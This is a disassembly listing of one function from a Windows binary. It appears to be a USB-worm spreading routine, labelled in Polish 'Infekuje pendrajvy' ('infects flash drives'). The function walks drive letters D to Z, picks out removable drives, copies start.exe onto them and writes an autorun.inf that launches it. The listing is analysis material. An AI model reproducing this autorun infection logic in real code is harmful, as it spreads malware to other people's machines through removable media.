Function at 0x402788
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffce4
push ebx
push esi
push edi
lea esi, [ebp - 0x27c]
mov eax, 0x4d1d6c
call fcn.0049b8e0
mov word [ebp - 0x2ac], 8
cmp dword [0x4d11bc], 1
jne 0x4027ec
mov word [ebp - 0x2ac], 0x14
mov edx, str.Infekuje_pendrajvy
lea eax, [ebp - 4]
call fcn.004a7ad8
inc dword [ebp - 0x2a0]
mov eax, dword [eax]
call fcn.00485e38
dec dword [ebp - 0x2a0]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a7c38
mov ecx, dword [0x4d11c0]
mov dword [ebp - 0x2c4], ecx
mov word [ebp - 0x2ac], 8
mov bl, 0x44
jmp 0x40307c
mov byte [ebp - 0x2c4], bl
lea eax, [ebp - 0x2c4]
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 2
jne 0x40307b
mov word [ebp - 0x2ac], 0x2c
mov edx, 0x4d150e
lea eax, [ebp - 0x284]
call fcn.004a7ad8
inc dword [ebp - 0x2a0]
lea edx, [ebp - 0x284]
push edx
lea eax, [ebp - 0x280]
mov edx, ebx
call fcn.004a7ba8
inc dword [ebp - 0x2a0]
xor ecx, ecx
mov dword [ebp - 8], ecx
lea ecx, [ebp - 8]
inc dword [ebp - 0x2a0]
pop edx
call fcn.004a7c90
dec dword [ebp - 0x2a0]
lea eax, [ebp - 0x284]
mov edx, 2
call fcn.004a7c38
dec dword [ebp - 0x2a0]
lea eax, [ebp - 0x280]
mov edx, 2
call fcn.004a7c38
mov word [ebp - 0x2ac], 0x20
mov word [ebp - 0x2ac], 0x38
mov edx, 0x4d1511
lea eax, [ebp - 0x288]
call fcn.004a7ad8
inc dword [ebp - 0x2a0]
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
inc dword [ebp - 0x2a0]
lea edx, [ebp - 0x288]
lea ecx, [ebp - 0xc]
call fcn.004a7c90
dec dword [ebp - 0x2a0]
lea eax, [ebp - 0x288]
mov edx, 2
call fcn.004a7c38
mov word [ebp - 0x2ac], 0x20
mov word [ebp - 0x2ac], 0x44
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x144], ecx
lea eax, [ebp - 0x84]
mov dword [ebp - 0x134], eax
lea edx, [ebp - 0x84]
push edx
call fcn.004031a8
pop ecx
add dword [ebp - 0x2a0], 7
push 0
push 1
lea ecx, [ebp - 0x144]
push ecx
call fcn.00403214
add esp, 0xc
mov eax, 0x4d35ac
add dword [ebp - 0x2a0], 3
mov dword [ebp - 0x140], eax
mov edx, 0x4d35b8
mov dword [ebp - 0x130], edx
mov ecx, 0x4d35c4
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x12c]
mov dword [eax], ecx
push edx
call fcn.00403384
pop ecx
add dword [ebp - 0x2a0], 4
lea ecx, [ebp - 0x12c]
push ecx
mov eax, dword [ebp - 0x144]
push eax
call fcn.004035ac
add esp, 8
inc dword [ebp - 0x2a0]
mov word [ebp - 0x2ac], 0x20
mov word [ebp - 0x2ac], 0x5c
lea edx, [esi + 0xc0]
mov dword [esi], edx
lea ecx, [esi + 0xc0]
mov dword [esi + 0x10], ecx
lea eax, [esi + 0xc0]
push eax
call fcn.004031a8
pop ecx
add dword [ebp - 0x2a0], 7
push 0
push 1
push esi
call fcn.00403214
add esp, 0xc
mov edx, 0x4d35ac
add dword [ebp - 0x2a0], 3
mov dword [esi + 4], edx
mov ecx, 0x4d35b8
mov dword [esi + 0x14], ecx
mov eax, 0x4d35c4
mov edx, dword [esi]
lea ecx, [esi + 0x18]
mov dword [edx], eax
push ecx
call fcn.00403384
pop ecx
lea eax, [esi + 0x18]
add dword [ebp - 0x2a0], 4
push eax
mov edx, dword [esi]
push edx
call fcn.004035ac
add esp, 8
inc dword [ebp - 0x2a0]
mov word [ebp - 0x2ac], 0x20
mov eax, dword [ebp - 0xc]
call fcn.004445ec
test al, al
jne 0x402fad
cmp dword [ebp - 0xc], 0
je 0x402a4f
mov eax, dword [ebp - 0xc]
jmp 0x402a54
mov eax, 0x4d151b
mov edi, eax
push 0x14
push edi
lea eax, [esi + 0x5c]
push eax
call fcn.004ae164
add esp, 0xc
test al, al
je 0x402a6e
lea edx, [esi + 0x18]
jmp 0x402a70
xor edx, edx
test edx, edx
jne 0x402ae1
mov eax, dword [esi]
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x2c8]
mov eax, dword [ecx + 8]
or eax, 4
mov dword [ebp - 0x2cc], eax
mov edx, dword [ebp - 0x2c8]
cmp dword [edx + 0x6c], 0
je 0x402aa2
mov ecx, dword [ebp - 0x2cc]
jmp 0x402aab
mov ecx, dword [ebp - 0x2cc]
or ecx, 1
mov dword [ebp - 0x2d0], ecx
mov eax, dword [ebp - 0x2c8]
mov edx, dword [ebp - 0x2d0]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [eax + 8]
and edx, dword [ecx + 0x14]
je 0x402ae1
mov eax, dword [ebp - 0x2c8]
push eax
call fcn.004a9ec4
pop ecx
mov edx, 0x4e20d0
lea eax, [ebp - 0xc]
call fcn.004a7c68
cmp dword [ebp - 0xc], 0
je 0x402af9
mov eax, dword [ebp - 0xc]
jmp 0x402afe
mov eax, 0x4d151c
mov edi, eax
push 0xc
push edi
lea eax, [ebp - 0xe8]
push eax
call fcn.004ae164
add esp, 0xc
test al, al
je 0x402b1e
lea edx, [ebp - 0x12c]
jmp 0x402b20
xor edx, edx
test edx, edx
jne 0x402b95
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x2d4], eax
mov ecx, dword [ebp - 0x2d4]
mov eax, dword [ecx + 8]
or eax, 4
mov dword [ebp - 0x2d8], eax
mov edx, dword [ebp - 0x2d4]
cmp dword [edx + 0x6c], 0
je 0x402b56
mov ecx, dword [ebp - 0x2d8]
jmp 0x402b5f
mov ecx, dword [ebp - 0x2d8]
or ecx, 1
mov dword [ebp - 0x2dc], ecx
mov eax, dword [ebp - 0x2d4]
mov edx, dword [ebp - 0x2dc]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x2d4]
mov edx, dword [eax + 8]
and edx, dword [ecx + 0x14]
je 0x402b95
mov eax, dword [ebp - 0x2d4]
push eax
call fcn.004a9ec4
pop ecx
push 4
push 0
lea edx, [ebp - 0x144]
push edx
call fcn.00403914
add esp, 0xc
lea ecx, [ebp - 0x144]
push ecx
lea eax, [ebp - 0x2e8]
push eax
call fcn.00403ae0
add esp, 8
mov edx, dword [ebp - 0x2e8]
mov dword [ebp - 0x2e0], edx
lea ecx, [ebp - 0x144]
push 1
push 0
push ecx
call fcn.00403914
add esp, 0xc
push 4
call fcn.00499954
pop ecx
mov edi, eax
xor eax, eax
mov dword [ebp - 0x2ec], eax
jmp 0x402c18
push 1
push edi
lea edx, [ebp - 0x144]
push edx
call fcn.00403b5c
add esp, 0xc
lea ecx, [esi + 0x10]
push 1
push edi
push ecx
call fcn.00404060
add esp, 0xc
inc dword [ebp - 0x2ec]
mov eax, dword [ebp - 0x2ec]
cmp eax, dword [0x4d11b0]
jl 0x402bf1
lea edx, [ebp - 0x12c]
push edx
call fcn.004042c8
pop ecx
test eax, eax
jne 0x402ca8
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x2f0], ecx
mov eax, dword [ebp - 0x2f0]
mov edx, dword [eax + 8]
or edx, 4
mov dword [ebp - 0x2f4], edx
mov ecx, dword [ebp - 0x2f0]
cmp dword [ecx + 0x6c], 0
je 0x402c69
mov eax, dword [ebp - 0x2f4]
jmp 0x402c72
mov eax, dword [ebp - 0x2f4]
or eax, 1
mov dword [ebp - 0x2f8], eax
mov edx, dword [ebp - 0x2f0]
mov ecx, dword [ebp - 0x2f8]
mov dword [edx + 8], ecx
mov eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp - 0x2f0]
mov edx, dword [eax + 8]
and edx, dword [ecx + 0x14]
je 0x402ca8
mov eax, dword [ebp - 0x2f0]
push eax
call fcn.004a9ec4
pop ecx
lea edx, [esi + 0x18]
push edx
call fcn.004042c8
pop ecx
test eax, eax
jne 0x402d23
mov ecx, dword [esi]
mov dword [ebp - 0x2fc], ecx
mov eax, dword [ebp - 0x2fc]
mov edx, dword [eax + 8]
or edx, 4
mov dword [ebp - 0x300], edx
mov ecx, dword [ebp - 0x2fc]
cmp dword [ecx + 0x6c], 0
je 0x402ce4
mov eax, dword [ebp - 0x300]
jmp 0x402ced
mov eax, dword [ebp - 0x300]
or eax, 1
mov dword [ebp - 0x304], eax
mov edx, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x304]
mov dword [edx + 8], ecx
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [eax + 8]
and edx, dword [ecx + 0x14]
je 0x402d23
mov eax, dword [ebp - 0x2fc]
push eax
call fcn.004a9ec4
pop ecx
mov word [ebp - 0x2ac], 0x74
mov edx, str.start.exe
lea eax, [ebp - 0x28c]
call fcn.004a7ad8
inc dword [ebp - 0x2a0]
xor ecx, ecx
mov dword [ebp - 0x290], ecx
lea ecx, [ebp - 0x290]
inc dword [ebp - 0x2a0]
lea edx, [ebp - 0x28c]
lea eax, [ebp - 8]
call fcn.004a7c90
lea edx, [ebp - 0x290]
lea eax, [ebp - 0xc]
call fcn.004a7c68
dec dword [ebp - 0x2a0]
lea eax, [ebp - 0x290]
mov edx, 2
call fcn.004a7c38
dec dword [ebp - 0x2a0]
lea eax, [ebp - 0x28c]
mov edx, 2
call fcn.004a7c38
mov edx, 3
mov eax, dword [ebp - 0xc]
call fcn.00444620
mov word [ebp - 0x2ac], 0x80
mov edx, str.autorun.inf
lea eax, [ebp - 0x294]
call fcn.004a7ad8
inc dword [ebp - 0x2a0]
xor eax, eax
mov dword [ebp - 0x298], eax
lea eax, [ebp - 8]
inc dword [ebp - 0x2a0]
lea edx, [ebp - 0x294]
lea ecx, [ebp - 0x298]
call fcn.004a7c90
lea edx, [ebp - 0x298]
lea eax, [ebp - 0xc]
call fcn.004a7c68
dec dword [ebp - 0x2a0]
lea eax, [ebp - 0x298]
mov edx, 2
call fcn.004a7c38
dec dword [ebp - 0x2a0]
lea eax, [ebp - 0x294]
mov edx, 2
call fcn.004a7c38
cmp dword [ebp - 0xc], 0
je 0x402e31
mov eax, dword [ebp - 0xc]
jmp 0x402e36
mov eax, 0x4d1533
mov edi, eax
push 0x10
push edi
lea eax, [esi + 0x5c]
push eax
call fcn.004ae164
add esp, 0xc
test al, al
je 0x402e50
lea edx, [esi + 0x18]
jmp 0x402e52
xor edx, edx
test edx, edx
jne 0x402ec3
mov eax, dword [esi]
mov dword [ebp - 0x308], eax
mov ecx, dword [ebp - 0x308]
mov eax, dword [ecx + 8]
or eax, 4
mov dword [ebp - 0x30c], eax
mov edx, dword [ebp - 0x308]
cmp dword [edx + 0x6c], 0
je 0x402e84
mov ecx, dword [ebp - 0x30c]
jmp 0x402e8d
mov ecx, dword [ebp - 0x30c]
or ecx, 1
mov dword [ebp - 0x310], ecx
mov eax, dword [ebp - 0x308]
mov edx, dword [ebp - 0x310]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x308]
mov edx, dword [eax + 8]
and edx, dword [ecx + 0x14]
je 0x402ec3
mov eax, dword [ebp - 0x308]
push eax
call fcn.004a9ec4
pop ecx
push str._autorun_
lea edx, [esi + 0x10]
push edx
call fcn.0040449c
add esp, 8
lea ecx, [esi + 0x10]
push ecx
call fcn.004030b4
pop ecx
push str.shellexecutestart.exe
lea eax, [esi + 0x10]
push eax
call fcn.0040449c
add esp, 8
lea edx, [esi + 0x10]
push edx
call fcn.004030b4
pop ecx
push str.shellAutoruncommandstart.exe
lea ecx, [esi + 0x10]
push ecx
call fcn.0040449c
add esp, 8
lea eax, [esi + 0x10]
push eax
call fcn.004030b4
pop ecx
push str.shellAutorun
lea edx, [esi + 0x10]
push edx
call fcn.0040449c
add esp, 8
lea ecx, [esi + 0x18]
push ecx
call fcn.004042c8
pop ecx
test eax, eax
jne 0x402fa0
mov eax, dword [esi]
mov dword [ebp - 0x314], eax
mov edx, dword [ebp - 0x314]
mov ecx, dword [edx + 8]
or ecx, 4
mov dword [ebp - 0x318], ecx
mov eax, dword [ebp - 0x314]
cmp dword [eax + 0x6c], 0
je 0x402f61
mov edx, dword [ebp - 0x318]
jmp 0x402f6a
mov edx, dword [ebp - 0x318]
or edx, 1
mov dword [ebp - 0x31c], edx
mov eax, dword [ebp - 0x314]
mov ecx, dword [ebp - 0x31c]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x314]
mov ecx, dword [ebp - 0x314]
mov edx, dword [eax + 8]
and edx, dword [ecx + 0x14]
je 0x402fa0
mov eax, dword [ebp - 0x314]
push eax
call fcn.004a9ec4
pop ecx
mov edx, 3
mov eax, dword [ebp - 0xc]
call fcn.00444620
dec dword [ebp - 0x2a0]
sub dword [ebp - 0x2a0], 4
push 2
lea edx, [esi + 0x18]
push edx
call fcn.004046d8
add esp, 8
sub dword [ebp - 0x2a0], 0xa
push 0
push esi
call fcn.00404784
add esp, 8
dec dword [ebp - 0x2a0]
sub dword [ebp - 0x2a0], 6
push 0
lea ecx, [esi + 0xc0]
push ecx
call fcn.004aa150
add esp, 8
dec dword [ebp - 0x2a0]
sub dword [ebp - 0x2a0], 4
push 2
lea eax, [ebp - 0x12c]
push eax
call fcn.004046d8
add esp, 8
sub dword [ebp - 0x2a0], 0xa
push 0
lea edx, [ebp - 0x144]
push edx
call fcn.00404784
add esp, 8
dec dword [ebp - 0x2a0]
sub dword [ebp - 0x2a0], 6
push 0
lea ecx, [ebp - 0x84]
push ecx
call fcn.004aa150
add esp, 8
dec dword [ebp - 0x2a0]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a7c38
dec dword [ebp - 0x2a0]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a7c38
mov word [ebp - 0x2ac], 8
inc ebx
movsx ecx, bl
cmp ecx, 0x5a
jle 0x402808
mov word [ebp - 0x2ac], 0
jmp 0x4030a1
mov eax, dword [ebp - 0x2bc]
mov dword fs:[0], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret